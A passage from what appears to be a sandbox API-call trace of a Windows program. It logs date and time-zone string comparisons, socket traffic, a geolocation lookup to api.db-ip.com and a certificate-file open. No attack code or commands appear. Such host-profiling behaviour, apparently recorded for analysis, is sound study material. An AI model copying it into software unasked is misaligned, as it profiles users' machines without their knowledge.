dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DEZ", cchCount2=3) returned 1 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="ENO", cchCount2=3) returned 1 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FBRO", cchCount2=4) returned 1 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MZO", cchCount2=3) returned 1 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AB", cchCount2=2) returned 1 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AGTO", cchCount2=4) returned 1 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SBRE", cchCount2=4) returned 1 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OBRE", cchCount2=4) returned 1 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="NBRE", cchCount2=4) returned 1 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DBRE", cchCount2=4) returned 1 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MRT", cchCount2=3) returned 1 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MEI", cchCount2=3) returned 1 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OKT", cchCount2=3) returned 1 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JANV", cchCount2=4) returned 1 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FÉV", cchCount2=3) returned 1 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MARS", cchCount2=4) returned 1 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AVR", cchCount2=3) returned 1 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAI", cchCount2=3) returned 1 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUIN", cchCount2=4) returned 1 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUIL", cchCount2=4) returned 1 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AOÛ", cchCount2=3) returned 1 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SEPT", cchCount2=4) returned 1 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DÉC", cchCount2=3) returned 1 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FÉVR", cchCount2=4) returned 1 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUI", cchCount2=3) returned 1 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AOÛT", cchCount2=4) returned 1 [0118.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAJ", cchCount2=3) returned 1 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AVG", cchCount2=3) returned 1 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mar", cchCount1=3, lpString2="JAN", cchCount2=3) returned 3 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mar", cchCount1=3, lpString2="FEB", cchCount2=3) returned 3 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mar", cchCount1=3, lpString2="MAR", cchCount2=3) returned 2 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="A", cchCount2=1) returned 3 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ACDT", cchCount2=4) returned 3 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ACST", cchCount2=4) returned 3 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ACT", cchCount2=3) returned 3 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ADT", cchCount2=3) returned 3 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AEDT", cchCount2=4) returned 3 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AEST", cchCount2=4) returned 3 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AFT", cchCount2=3) returned 3 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AKDT", cchCount2=4) returned 3 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AKST", cchCount2=4) returned 3 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AMST", cchCount2=4) returned 3 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AMST", cchCount2=4) returned 3 [0118.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AMT", cchCount2=3) returned 3 [0118.978] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AMT", cchCount2=3) returned 3 [0118.978] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ART", cchCount2=3) returned 3 [0118.978] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AST", cchCount2=3) returned 3 [0118.978] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AST", cchCount2=3) returned 3 [0118.978] GetTimeZoneInformation (in: lpTimeZoneInformation=0x18fa84 | out: lpTimeZoneInformation=0x18fa84) returned 0x2 [0118.978] LoadStringW (in: hInstance=0x400000, uID=0xfea1, lpBuffer=0x18db44, cchBufferMax=4096 | out: lpBuffer="Chunk Started") returned 0xd [0118.978] GetTickCount64 () returned 0x1150780 [0118.978] GetTickCount64 () returned 0x1150780 [0118.979] GetTickCount64 () returned 0x1150790 [0118.979] select (in: nfds=0, readfds=0x18f8e4, writefds=0x0, exceptfds=0x0, timeout=0x0 | out: readfds=0x18f8e4, writefds=0x0, exceptfds=0x0) returned 1 [0118.979] SetLastError (dwErrCode=0x0) [0118.979] SetLastError (dwErrCode=0x0) [0118.979] WSASetLastError (iError=0) [0118.979] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0118.980] SetLastError (dwErrCode=0x0) [0118.980] WSASetLastError (iError=0) [0118.980] recv (in: s=0x12c, buf=0x2d51900, len=29, flags=0 | out: buf=0x2d51900*) returned 29 [0118.980] GetTickCount64 () returned 0x1150790 [0118.980] select (in: nfds=0, readfds=0x18fa58, writefds=0x0, exceptfds=0x0, timeout=0x18fa40*(tv_sec=0, tv_usec=0) | out: readfds=0x18fa58, writefds=0x0, exceptfds=0x0) returned 0 [0118.980] select (in: nfds=0, readfds=0x18fa58, writefds=0x0, exceptfds=0x0, timeout=0x18fa40*(tv_sec=0, tv_usec=0) | out: readfds=0x18fa58, writefds=0x0, exceptfds=0x0) returned 0 [0118.980] WSASetLastError (iError=0) [0118.980] send (s=0x12c, buf=0x2d409d3*, len=31, flags=0) returned 31 [0118.981] shutdown (s=0x12c, how=1) returned 0 [0118.981] closesocket (s=0x12c) returned 0 [0118.981] GetCurrentThreadId () returned 0x9fc [0118.982] GetCurrentThreadId () returned 0x9fc [0118.982] GetCurrentThreadId () returned 0x9fc [0118.982] GetCurrentThreadId () returned 0x9fc [0118.982] GetCurrentThreadId () returned 0x9fc [0118.982] GetCurrentThreadId () returned 0x9fc [0118.982] GetCurrentThreadId () returned 0x9fc [0118.982] GetCurrentThreadId () returned 0x9fc [0118.982] GetCurrentThreadId () returned 0x9fc [0118.982] GetCurrentThreadId () returned 0x9fc [0118.982] GetCurrentThreadId () returned 0x9fc [0118.982] GetCurrentThreadId () returned 0x9fc [0118.982] GetCurrentThreadId () returned 0x9fc [0118.982] GetCurrentThreadId () returned 0x9fc [0118.982] GetCurrentThreadId () returned 0x9fc [0118.982] GetCurrentThreadId () returned 0x9fc [0118.982] GetCurrentThreadId () returned 0x9fc [0118.982] GetCurrentThreadId () returned 0x9fc [0118.982] GetCurrentThreadId () returned 0x9fc [0118.982] GetCurrentThreadId () returned 0x9fc [0118.982] GetCurrentThreadId () returned 0x9fc [0118.982] GetCurrentThreadId () returned 0x9fc [0118.982] GetCurrentThreadId () returned 0x9fc [0118.982] GetCurrentThreadId () returned 0x9fc [0118.982] GetCurrentThreadId () returned 0x9fc [0118.982] GetCurrentThreadId () returned 0x9fc [0118.982] GetCurrentThreadId () returned 0x9fc [0118.983] GetCurrentThreadId () returned 0x9fc [0118.983] GetCurrentThreadId () returned 0x9fc [0118.983] GetCurrentThreadId () returned 0x9fc [0118.983] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="", cchWideChar=0, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 0 [0118.983] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="", cchWideChar=0, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 0 [0118.983] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="", cchWideChar=0, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 0 [0118.983] GetCurrentThreadId () returned 0x9fc [0118.983] GetCurrentThreadId () returned 0x9fc [0118.983] GetCurrentThreadId () returned 0x9fc [0118.983] socket (af=2, type=1, protocol=0) returned 0x12c [0118.984] getsockopt (in: s=0x12c, level=65535, optname=4104, optval=0x18facc, optlen=0x18fac8 | out: optval="\x01", optlen=0x18fac8) returned 0 [0118.984] getsockopt (in: s=0x12c, level=6, optname=1, optval=0x18facc, optlen=0x18fac8 | out: optval="", optlen=0x18fac8) returned 0 [0118.984] setsockopt (s=0x12c, level=65535, optname=4, optval="", optlen=4) returned 0 [0118.984] htons (hostshort=0x0) returned 0x0 [0118.984] bind (s=0x12c, addr=0x18fa24*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0 [0118.984] getsockname (in: s=0x12c, name=0x18fa18, namelen=0x18fa98 | out: name=0x18fa18*(sa_family=2, sin_port=0xc009, sin_addr="0.0.0.0"), namelen=0x18fa98) returned 0 [0118.984] htons (hostshort=0x9c0) returned 0xc009 [0118.984] IdnToAscii (in: dwFlags=0x0, lpUnicodeCharStr="api.db-ip.com", cchUnicodeChar=13, lpASCIICharStr=0x0, cchASCIIChar=0 | out: lpASCIICharStr=0x0) returned 13 [0118.984] IdnToAscii (in: dwFlags=0x0, lpUnicodeCharStr="api.db-ip.com", cchUnicodeChar=13, lpASCIICharStr=0x80fa2c, cchASCIIChar=13 | out: lpASCIICharStr="api.db-ip.com") returned 13 [0118.984] GetAddrInfoW (in: pNodeName="api.db-ip.com", pServiceName=0x0, pHints=0x18facc*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x18faec | out: ppResult=0x18faec*=0x2b94870*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b949e0*(sa_family=2, sin_port=0x0, sin_addr="104.26.4.15"), ai_next=0x2b949f8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94a20*(sa_family=2, sin_port=0x0, sin_addr="104.26.5.15"), ai_next=0x0))) returned 0 [0119.047] FreeAddrInfoW (pAddrInfo=0x2b94870*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b949e0*(sa_family=2, sin_port=0x0, sin_addr="104.26.4.15"), ai_next=0x2b949f8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94a20*(sa_family=2, sin_port=0x0, sin_addr="104.26.5.15"), ai_next=0x0))) [0119.048] htons (hostshort=0x1bb) returned 0xbb01 [0119.048] connect (s=0x12c, name=0x18fa7c*(sa_family=2, sin_port=0x1bb, sin_addr="104.26.4.15"), namelen=16) returned 0 [0119.068] getsockname (in: s=0x12c, name=0x18fa64, namelen=0x18fae4 | out: name=0x18fa64*(sa_family=2, sin_port=0xc009, sin_addr="192.168.0.156"), namelen=0x18fae4) returned 0 [0119.068] htons (hostshort=0x9c0) returned 0xc009 [0119.068] getpeername (in: s=0x12c, name=0x18fa64, namelen=0x18fae4 | out: name=0x18fa64*(sa_family=2, sin_port=0x1bb, sin_addr="104.26.4.15"), namelen=0x18fae4) returned 0 [0119.068] htons (hostshort=0xbb01) returned 0x1bb [0119.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1d8) returned 0x2d24c58 [0119.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x180) returned 0x2a0d08 [0119.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x60) returned 0x2aff60 [0119.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d36560 [0119.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x48) returned 0x2d45f98 [0119.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35e08 [0119.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34ba0 [0119.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35ec8 [0119.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34bb8 [0119.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2d253a0 [0119.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2d4a2b8 [0119.069] GetCurrentThreadId () returned 0x9fc [0119.069] GetCurrentThreadId () returned 0x9fc [0119.069] GetCurrentThreadId () returned 0x9fc [0119.069] GetCurrentThreadId () returned 0x9fc [0119.069] GetCurrentThreadId () returned 0x9fc [0119.069] GetCurrentThreadId () returned 0x9fc [0119.069] GetCurrentThreadId () returned 0x9fc [0119.069] GetCurrentThreadId () returned 0x9fc [0119.069] GetCurrentThreadId () returned 0x9fc [0119.069] GetCurrentThreadId () returned 0x9fc [0119.069] GetCurrentThreadId () returned 0x9fc [0119.069] GetCurrentThreadId () returned 0x9fc [0119.069] GetCurrentThreadId () returned 0x9fc [0119.069] GetCurrentThreadId () returned 0x9fc [0119.069] GetCurrentThreadId () returned 0x9fc [0119.069] GetCurrentThreadId () returned 0x9fc [0119.069] GetCurrentThreadId () returned 0x9fc [0119.069] GetCurrentThreadId () returned 0x9fc [0119.069] GetCurrentThreadId () returned 0x9fc [0119.069] GetCurrentThreadId () returned 0x9fc [0119.069] GetCurrentThreadId () returned 0x9fc [0119.069] GetCurrentThreadId () returned 0x9fc [0119.069] GetCurrentThreadId () returned 0x9fc [0119.069] GetCurrentThreadId () returned 0x9fc [0119.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x9c4) returned 0x2d4aea0 [0119.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x404) returned 0x2d24e80 [0119.070] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d24e80 | out: hHeap=0x2a0000) returned 1 [0119.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x348) returned 0x2d24e80 [0119.070] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d24e80 | out: hHeap=0x2a0000) returned 1 [0119.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35fa8 [0119.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34b40 [0119.070] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34b40, Size=0x20) returned 0x2d4a2e0 [0119.070] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4a2e0, Size=0x40) returned 0x2d36488 [0119.070] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d36488, Size=0x80) returned 0x2d4ead8 [0119.070] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4ead8, Size=0x100) returned 0x2d59000 [0119.070] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d59000, Size=0x200) returned 0x2d37690 [0119.070] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aea0 | out: hHeap=0x2a0000) returned 1 [0119.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35d88 [0119.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34b40 [0119.070] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34b40, Size=0x200) returned 0x2d37488 [0119.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2d253d8 [0119.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2d4a2e0 [0119.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35ea8 [0119.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34b40 [0119.070] GetCurrentThreadId () returned 0x9fc [0119.070] GetCurrentThreadId () returned 0x9fc [0119.070] GetCurrentThreadId () returned 0x9fc [0119.070] GetCurrentThreadId () returned 0x9fc [0119.070] GetCurrentThreadId () returned 0x9fc [0119.070] GetCurrentThreadId () returned 0x9fc [0119.071] GetCurrentThreadId () returned 0x9fc [0119.071] GetCurrentThreadId () returned 0x9fc [0119.071] GetCurrentThreadId () returned 0x9fc [0119.071] GetCurrentThreadId () returned 0x9fc [0119.071] GetCurrentThreadId () returned 0x9fc [0119.071] GetCurrentThreadId () returned 0x9fc [0119.071] GetCurrentThreadId () returned 0x9fc [0119.071] GetCurrentThreadId () returned 0x9fc [0119.071] GetCurrentThreadId () returned 0x9fc [0119.071] GetCurrentThreadId () returned 0x9fc [0119.071] GetCurrentThreadId () returned 0x9fc [0119.071] GetCurrentThreadId () returned 0x9fc [0119.071] GetCurrentThreadId () returned 0x9fc [0119.071] GetCurrentThreadId () returned 0x9fc [0119.071] GetCurrentThreadId () returned 0x9fc [0119.071] GetCurrentThreadId () returned 0x9fc [0119.071] GetCurrentThreadId () returned 0x9fc [0119.071] GetCurrentThreadId () returned 0x9fc [0119.071] GetCurrentThreadId () returned 0x9fc [0119.071] GetCurrentThreadId () returned 0x9fc [0119.071] GetCurrentThreadId () returned 0x9fc [0119.071] GetCurrentThreadId () returned 0x9fc [0119.071] GetCurrentThreadId () returned 0x9fc [0119.071] GetCurrentThreadId () returned 0x9fc [0119.071] GetCurrentThreadId () returned 0x9fc [0119.071] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d4a0a0 [0119.072] GetCurrentThreadId () returned 0x9fc [0119.072] GetCurrentThreadId () returned 0x9fc [0119.072] GetCurrentThreadId () returned 0x9fc [0119.072] GetCurrentThreadId () returned 0x9fc [0119.072] GetCurrentThreadId () returned 0x9fc [0119.072] GetCurrentThreadId () returned 0x9fc [0119.072] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a0a0 | out: hHeap=0x2a0000) returned 1 [0119.072] GetCurrentThreadId () returned 0x9fc [0119.072] GetCurrentThreadId () returned 0x9fc [0119.072] GetCurrentThreadId () returned 0x9fc [0119.072] GetCurrentThreadId () returned 0x9fc [0119.072] GetCurrentThreadId () returned 0x9fc [0119.072] GetCurrentThreadId () returned 0x9fc [0119.072] GetCurrentThreadId () returned 0x9fc [0119.072] GetCurrentThreadId () returned 0x9fc [0119.072] GetCurrentThreadId () returned 0x9fc [0119.072] GetCurrentThreadId () returned 0x9fc [0119.072] GetCurrentThreadId () returned 0x9fc [0119.072] GetCurrentThreadId () returned 0x9fc [0119.072] GetCurrentThreadId () returned 0x9fc [0119.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d4a0a0 [0119.073] GetCurrentThreadId () returned 0x9fc [0119.073] GetCurrentThreadId () returned 0x9fc [0119.073] GetCurrentThreadId () returned 0x9fc [0119.073] GetCurrentThreadId () returned 0x9fc [0119.073] GetCurrentThreadId () returned 0x9fc [0119.073] GetCurrentThreadId () returned 0x9fc [0119.073] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a0a0 | out: hHeap=0x2a0000) returned 1 [0119.073] GetCurrentThreadId () returned 0x9fc [0119.073] GetCurrentThreadId () returned 0x9fc [0119.073] GetCurrentThreadId () returned 0x9fc [0119.073] GetCurrentThreadId () returned 0x9fc [0119.073] GetCurrentThreadId () returned 0x9fc [0119.073] GetCurrentThreadId () returned 0x9fc [0119.073] GetCurrentThreadId () returned 0x9fc [0119.073] GetCurrentThreadId () returned 0x9fc [0119.073] GetCurrentThreadId () returned 0x9fc [0119.073] GetCurrentThreadId () returned 0x9fc [0119.073] GetCurrentThreadId () returned 0x9fc [0119.073] GetCurrentThreadId () returned 0x9fc [0119.073] GetCurrentThreadId () returned 0x9fc [0119.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d4a0a0 [0119.073] GetCurrentThreadId () returned 0x9fc [0119.073] GetCurrentThreadId () returned 0x9fc [0119.073] GetCurrentThreadId () returned 0x9fc [0119.074] GetCurrentThreadId () returned 0x9fc [0119.074] GetCurrentThreadId () returned 0x9fc [0119.074] GetCurrentThreadId () returned 0x9fc [0119.074] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a0a0 | out: hHeap=0x2a0000) returned 1 [0119.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34ac8 [0119.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34ae0 [0119.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35d08 [0119.074] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x11112dc0, cbMultiByte=24, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0119.074] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x11112dc0, cbMultiByte=24, lpWideCharStr=0x18fa30, cchWideChar=24 | out: lpWideCharStr="/usr/local/ssl/cert.pem") returned 24 [0119.074] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x110f18d8, cbMultiByte=2, lpWideCharStr=0x18fa74, cchWideChar=8 | out: lpWideCharStr="r") returned 2 [0119.074] CreateFileW (lpFileName="/usr/local/ssl/cert.pem" (normalized: "c:\\usr\\local\\ssl\\cert.pem"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f8ec, dwCreationDisposition=0x3, 